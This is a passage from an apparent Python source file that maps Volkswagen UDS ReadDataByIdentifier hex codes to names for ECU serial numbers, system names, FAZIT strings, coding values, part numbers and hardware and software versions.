UDS_RDBI.dataIdentifiers[0x0702] = "Light_switch_Serial_Number" UDS_RDBI.dataIdentifiers[0x0703] = "Garage_door_opener_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0704] = "Garage_door_opener_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x0705] = "Ignition_key_Serial_Number" UDS_RDBI.dataIdentifiers[0x0706] = "Left_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0707] = "Right_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0708] = "Left_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0709] = "Right_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x070a] = "Data_medium_Serial_Number" UDS_RDBI.dataIdentifiers[0x070b] = "Drivers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x070c] = "Front_passengers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x070d] = "Left_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x070e] = "Right_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x070f] = "Sensor_for_anti_theft_alarm_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x0710] = "Rear_lid_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0711] = "Alarm_horn_Serial_Number" UDS_RDBI.dataIdentifiers[0x0712] = "Automatic_day_night_interior_mirror_Serial_Number" UDS_RDBI.dataIdentifiers[0x0713] = "Sun_roof_Serial_Number" UDS_RDBI.dataIdentifiers[0x0714] = "Steering_column_lock_actuator_Serial_Number" UDS_RDBI.dataIdentifiers[0x0715] = "Anti_theft_tilt_system_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x0716] = "Tire_pressure_monitor_antenna_Serial_Number" UDS_RDBI.dataIdentifiers[0x0717] = "Heated_windshield_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0718] = "Rear_light_left_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x0719] = "Ceiling_light_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071a] = "Left_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071b] = "Right_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071c] = "Control_module_for_auxiliary_air_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x071d] = "Ioniser_Serial_Number" UDS_RDBI.dataIdentifiers[0x071e] = "Multi_function_steering_wheel_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071f] = "Left_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0720] = "Right_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0721] = "Left_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0722] = "Right_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0723] = "Display_unit_1_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x0724] = "Battery_monitoring_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0725] = "Roof_blind_Serial_Number" UDS_RDBI.dataIdentifiers[0x0726] = "Sun_roof_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0727] = "Display_unit_2_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x0728] = "Telephone_handset_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0729] = "Traffic_data_aerial_Serial_Number" UDS_RDBI.dataIdentifiers[0x072a] = "Chip_card_reader_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x072b] = "Hands_free_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x072c] = "Telephone_handset_Serial_Number" UDS_RDBI.dataIdentifiers[0x072d] = "Display_unit_front_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x072e] = "Multimedia_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x072f] = "Digital_sound_system_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0730] = "Control_unit_for_wiper_motor_System_Name" UDS_RDBI.dataIdentifiers[0x0731] = "Rain_light_recognition_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x0732] = "Light_switch_System_Name" UDS_RDBI.dataIdentifiers[0x0733] = "Garage_door_opener_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0734] = "Garage_door_opener_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x0735] = "Ignition_key_System_Name" UDS_RDBI.dataIdentifiers[0x0736] = "Left_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0737] = "Right_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0738] = "Left_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0739] = "Right_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x073a] = "Data_medium_System_Name" UDS_RDBI.dataIdentifiers[0x073b] = "Drivers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x073c] = "Front_passengers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x073d] = "Left_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x073e] = "Right_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x073f] = "Sensor_for_anti_theft_alarm_system_System_Name" UDS_RDBI.dataIdentifiers[0x0740] = "Rear_lid_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x0741] = "Alarm_horn_System_Name" UDS_RDBI.dataIdentifiers[0x0742] = "Automatic_day_night_interior_mirror_System_Name" UDS_RDBI.dataIdentifiers[0x0743] = "Sun_roof_System_Name" UDS_RDBI.dataIdentifiers[0x0744] = "Steering_column_lock_actuator_System_Name" UDS_RDBI.dataIdentifiers[0x0745] = "Anti_theft_tilt_system_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x0746] = "Tire_pressure_monitor_antenna_System_Name" UDS_RDBI.dataIdentifiers[0x0747] = "Heated_windshield_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0748] = "Rear_light_left_1_System_Name" UDS_RDBI.dataIdentifiers[0x0749] = "Ceiling_light_module_System_Name" UDS_RDBI.dataIdentifiers[0x074a] = "Left_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x074b] = "Right_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x074c] = "Control_module_for_auxiliary_air_heater_System_Name" UDS_RDBI.dataIdentifiers[0x074d] = "Ioniser_System_Name" UDS_RDBI.dataIdentifiers[0x074e] = "Multi_function_steering_wheel_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x074f] = "Left_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0750] = "Right_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0751] = "Left_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0752] = "Right_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0753] = "Display_unit_1_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x0754] = "Battery_monitoring_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0755] = "Roof_blind_System_Name" UDS_RDBI.dataIdentifiers[0x0756] = "Sun_roof_2_System_Name" UDS_RDBI.dataIdentifiers[0x0757] = "Display_unit_2_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x0758] = "Telephone_handset_2_System_Name" UDS_RDBI.dataIdentifiers[0x0759] = "Traffic_data_aerial_System_Name" UDS_RDBI.dataIdentifiers[0x075a] = "Chip_card_reader_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x075b] = "Hands_free_system_System_Name" UDS_RDBI.dataIdentifiers[0x075c] = "Telephone_handset_System_Name" UDS_RDBI.dataIdentifiers[0x075d] = "Display_unit_front_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x075e] = "Multimedia_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x075f] = "Digital_sound_system_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x07a0] = "Control_unit_for_wiper_motor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a1] = "Rain_light_recognition_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a2] = "Light_switch_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a3] = "Garage_door_opener_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a4] = "Garage_door_opener_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a5] = "Ignition_key_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a6] = "Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a7] = "Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a8] = "Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a9] = "Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07aa] = "Data_medium_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ab] = "Drivers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ac] = "Front_passengers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ad] = "Left_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ae] = "Right_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07af] = "Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b0] = "Rear_lid_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b1] = "Alarm_horn_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b2] = "Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b3] = "Sun_roof_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b4] = "Steering_column_lock_actuator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b5] = "Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b6] = "Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b7] = "Heated_windshield_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b8] = "Rear_light_left_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b9] = "Ceiling_light_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ba] = "Left_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bb] = "Right_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bc] = "Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bd] = "Ioniser_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07be] = "Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bf] = "Left_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c0] = "Right_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c1] = "Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c2] = "Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c3] = "Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c4] = "Battery_monitoring_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c5] = "Roof_blind_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c6] = "Sun_roof_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c7] = "Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c8] = "Telephone_handset_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c9] = "Traffic_data_aerial_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ca] = "Chip_card_reader_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cb] = "Hands_free_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cc] = "Telephone_handset_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cd] = "Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ce] = "Multimedia_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cf] = "Digital_sound_system_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x0902] = "Activation of Development CAN-Messages" UDS_RDBI.dataIdentifiers[0x2a26] = "Gateway Component List present" UDS_RDBI.dataIdentifiers[0x2a27] = "Gateway_Component_List_Sleepindication" UDS_RDBI.dataIdentifiers[0x2a28] = "Gateway Component List dtc" UDS_RDBI.dataIdentifiers[0x2a29] = "Gateway Component List DiagProt" UDS_RDBI.dataIdentifiers[0x2a2d] = "Gateway_component_list_databus_identification" UDS_RDBI.dataIdentifiers[0x2ee0] = "Gateway_component_list_diag_path" UDS_RDBI.dataIdentifiers[0x2ee1] = "Gateway_component_list_ecu_authentication" UDS_RDBI.dataIdentifiers[0x3610] = "Electrically_adjustable_steering_column_Coding_Values" UDS_RDBI.dataIdentifiers[0x3611] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values" UDS_RDBI.dataIdentifiers[0x3612] = "Rear_spoiler_adjustment_Coding_Values" UDS_RDBI.dataIdentifiers[0x3613] = "Roof_blind_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x3614] = "Motor_for_wind_deflector_Coding_Values" UDS_RDBI.dataIdentifiers[0x3615] = "Voltage_stabilizer_Coding_Values" UDS_RDBI.dataIdentifiers[0x3616] = "Switch_module_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x3617] = "Switch_module_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x3618] = "Switch_module_for_rear_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x3619] = "Switch_module_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x361a] = "Switch_module_2_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x361b] = "Switch_module_2_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x361c] = "Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x361d] = "Compact_disc_database_Coding_Values" UDS_RDBI.dataIdentifiers[0x3629] = "LED_headlamp_powermodule_2_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x362a] = "LED_headlamp_powermodule_2_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x362c] = "Multimedia_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x362e] = "Data_medium_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x362f] = "Analog_clock_Coding_Values" UDS_RDBI.dataIdentifiers[0x3630] = "Relative_Air_Humidity_Interior_Sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x3631] = "Sensor_controlled_power_rear_lid_Coding_Values" UDS_RDBI.dataIdentifiers[0x3632] = "Battery_monitoring_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x3633] = "Air_conditioning_compressor_Coding_Values" UDS_RDBI.dataIdentifiers[0x3634] = "Control_module_for_auxiliary_blower_motors_Coding_Values" UDS_RDBI.dataIdentifiers[0x3635] = "High_beam_powermodule_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x3636] = "High_beam_powermodule_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x3637] = "Coolant_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x3640] = "Electrically_adjustable_steering_column_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3641] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3642] = "Rear_spoiler_adjustment_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3643] = "Roof_blind_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3644] = "Motor_for_wind_deflector_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3645] = "Voltage_stabilizer_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3646] = "Switch_module_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3647] = "Switch_module_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3648] = "Switch_module_for_rear_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3649] = "Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364a] = "Switch_module_2_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364b] = "Switch_module_2_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364c] = "Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364d] = "Compact_disc_database_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3659] = "LED_headlamp_powermodule_2_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365a] = "LED_headlamp_powermodule_2_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365c] = "Multimedia_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365e] = "Data_medium_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365f] = "Analog_clock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3660] = "Relative_Air_Humidity_Interior_Sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3661] = "Sensor_controlled_power_rear_lid_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3662] = "Battery_monitoring_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3663] = "Air_conditioning_compressor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3664] = "Control_module_for_auxiliary_blower_motors_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3665] = "High_beam_powermodule_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3666] = "High_beam_powermodule_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3667] = "Coolant_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3670] = "Electrically_adjustable_steering_column_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3671] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3672] = "Rear_spoiler_adjustment_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3673] = "Roof_blind_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3674] = "Motor_for_wind_deflector_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3675] = "Voltage_stabilizer_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3676] = "Switch_module_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3677] = "Switch_module_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3678] = "Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3679] = "Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367a] = "Switch_module_2_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367b] = "Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367c] = "Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367d] = "Compact_disc_database_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3689] = "LED_headlamp_powermodule_2_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368a] = "LED_headlamp_powermodule_2_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368c] = "Multimedia_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368e] = "Data_medium_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368f] = "Analog_clock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3690] = "Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3691] = "Sensor_controlled_power_rear_lid_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3692] = "Battery_monitoring_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3693] = "Air_conditioning_compressor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3694] = "Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3695] = "High_beam_powermodule_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3696] = "High_beam_powermodule_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3697] = "Coolant_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x36a0] = "Electrically_adjustable_steering_column_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a2] = "Rear_spoiler_adjustment_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a3] = "Roof_blind_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a4] = "Motor_for_wind_deflector_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a5] = "Voltage_stabilizer_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a6] = "Switch_module_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a7] = "Switch_module_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a8] = "Switch_module_for_rear_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a9] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36aa] = "Switch_module_2_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ab] = "Switch_module_2_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ac] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ad] = "Compact_disc_database_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36b9] = "LED_headlamp_powermodule_2_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ba] = "LED_headlamp_powermodule_2_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36bc] = "Multimedia_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36be] = "Data_medium_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36bf] = "Analog_clock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c0] = "Relative_Air_Humidity_Interior_Sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c1] = "Sensor_controlled_power_rear_lid_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c2] = "Battery_monitoring_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c3] = "Air_conditioning_compressor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c4] = "Control_module_for_auxiliary_blower_motors_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c5] = "High_beam_powermodule_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c6] = "High_beam_powermodule_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c7] = "Coolant_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36d0] = "Electrically_adjustable_steering_column_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d2] = "Rear_spoiler_adjustment_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d3] = "Roof_blind_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d4] = "Motor_for_wind_deflector_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d5] = "Voltage_stabilizer_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d6] = "Switch_module_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d7] = "Switch_module_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d8] = "Switch_module_for_rear_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36d9] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36da] = "Switch_module_2_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36db] = "Switch_module_2_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36dc] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36dd] = "Compact_disc_database_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36e9] = "LED_headlamp_powermodule_2_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ea] = "LED_headlamp_powermodule_2_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ec] = "Multimedia_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ee] = "Data_medium_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36ef] = "Analog_clock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f0] = "Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f1] = "Sensor_controlled_power_rear_lid_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f2] = "Battery_monitoring_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f3] = "Air_conditioning_compressor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f4] = "Control_module_for_auxiliary_blower_motors_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f5] = "High_beam_powermodule_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f6] = "High_beam_powermodule_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x36f7] = "Coolant_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x3700] = "Electrically_adjustable_steering_column_Serial_Number" UDS_RDBI.dataIdentifiers[0x3701] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number" UDS_RDBI.dataIdentifiers[0x3702] = "Rear_spoiler_adjustment_Serial_Number" UDS_RDBI.dataIdentifiers[0x3703] = "Roof_blind_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x3704] = "Motor_for_wind_deflector_Serial_Number" UDS_RDBI.dataIdentifiers[0x3705] = "Voltage_stabilizer_Serial_Number" UDS_RDBI.dataIdentifiers[0x3706] = "Switch_module_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x3707] = "Switch_module_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x3708] = "Switch_module_for_rear_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x3709] = "Switch_module_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x370a] = "Switch_module_2_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x370b] = "Switch_module_2_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x370c] = "Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x370d] = "Compact_disc_database_Serial_Number" UDS_RDBI.dataIdentifiers[0x3719] = "LED_headlamp_powermodule_2_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x371a] = "LED_headlamp_powermodule_2_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x371c] = "Multimedia_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x371e] = "Data_medium_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x371f] = "Analog_clock_Serial_Number" UDS_RDBI.dataIdentifiers[0x3720] = "Relative_Air_Humidity_Interior_Sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x3721] = "Sensor_controlled_power_rear_lid_Serial_Number" UDS_RDBI.dataIdentifiers[0x3722] = "Battery_monitoring_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x3723] = "Air_conditioning_compressor_Serial_Number" UDS_RDBI.dataIdentifiers[0x3724] = "Control_module_for_auxiliary_blower_motors_Serial_Number" UDS_RDBI.dataIdentifiers[0x3725] = "High_beam_powermodule_left_Serial_Number" 